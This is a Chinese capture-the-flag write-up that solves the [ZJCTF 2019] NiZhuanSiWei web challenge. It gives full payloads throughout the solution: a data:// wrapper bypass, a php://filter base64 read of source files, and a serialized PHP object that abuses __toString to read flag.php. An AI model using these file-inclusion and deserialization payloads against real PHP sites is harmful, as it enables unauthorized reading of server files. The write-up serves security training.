BUUCTF在线评测-练习场-WebCTF习题[ZJCTF 2019]NiZhuanSiWei1-flag获取、解析
解题思路
打开靶场,给了如下源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){echo "Not now!";exit(); }else{include($file); //useless.php$password = unserialize($password);echo $password;}
}
else{highlight_file(__FILE__);
}
?>
-
源码分析:
-
text
:必须满足file_get_contents($text) === "welcome to the zjctf",这里file_get_contents是读取文件,所以不能直接传参
-
file
:不能包含字符串flag
,否则退出,如果不是flag那么包含填写的文件,这里提示了一个文件useless.php -
password
:会被反序列化(unserialize
)并输出
-
目前首要目标,绕过text的判断、读取useless.php获取更多信息。
首先,绕过text读取文件判断,使用data伪协议,伪装一个文件
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
其中
d2VsY29tZSB0byB0aGUgempjdGY=
为welcome to the zjctf的base64编码,这样file_get_contents($text)即可 == "welcome to the zjctf"
然后是读取useless.php文件,这里只过滤了flag,所以不用绕过,直接利用include文件包含漏洞,伪协议读取useless.php文件,并以base64形式展示
file=php://filter/read=convert.base64-encode/resource=useless.php
最终payload,password随便填,目前作用未知
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&password=123
成功获取base64编码,下面我们解码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
首先,这里提示了有flag.php文件。
其次,Flag
类的__toString()
方法会读取$file
指定的文件内容。当反序列化后的对象被echo
时,此方法自动触发。
那么结合前面的参数password会被反序列化,那么我们应该构造password去echo flag.php,即构造password为其中的序列化后的flag类,并且指定$file为flag.php,然后等待反序列化并且echo输出即可,构造payload:
<?php
class Flag {public $file = "flag.php";
}
echo serialize(new Flag());
?>
php文件输出
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
小总结一下
text data伪协议绕过读文件,
file包含useless.php文件,因为需要用到flag的类
password构造为序列化后的新Flag类,指定参数为flag.php,当index.php里面的反序列化操作以及echo输出后,即可触发tostring函数,即输出flag.php内容
看到了useless.php里输出成功的英文,说明执行成功,查看源码,发现flag
总结
一道结合文件包含漏洞、php伪协议、反序列化漏洞的题型,难点可能在反序列化那里,但是给的题型比较经典,看到tostring就应该想到,反序列化输出漏洞